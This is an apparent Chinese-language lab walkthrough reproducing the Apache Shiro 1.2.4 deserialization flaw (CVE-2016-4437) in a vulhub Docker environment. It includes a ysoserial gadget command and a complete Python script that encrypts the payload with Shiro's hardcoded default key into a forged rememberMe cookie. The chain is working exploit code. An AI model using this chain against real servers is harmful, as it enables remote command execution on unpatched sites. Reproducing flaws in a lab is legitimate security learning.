shiro 1.2.4漏洞复现
Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
漏洞环境
我们先下载环境,在github有别人直接搭建好的docker环境我们直接拿来用即可
git clone git://github.com/vulhub/vulhub.git cd vulhub/shiro/CVE-2016-4437/ docker-compose up -d
访问8080端口即可,由于我docker映射的8082端口所以访问的就是8082端口
影响版本
Apache Shiro <= 1.2.4
漏洞复现
点击登陆抓包,一般响应包带有rememberMe=deleteMe一般就是shiro搭建的站点
使用ysoserial生成CommonsBeanutils1的Gadget:
java -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 "touch /tmp/EDI" > poc.ser
使用Shiro内置的默认密钥对Payload进行加密:
import uuid import base64 from Crypto.Cipher import AES def encode_rememberme(): f = open('poc.ser','rb') BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(f.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme() print("rememberMe={0}".format(payload.decode()))
把生成的payload替换到cookie中,然后放包
进入docker容器查看发现创建的文件
想要学习要学习更多的安全知识可以关注EDI安全公众号,我们一起学习更多渗透技巧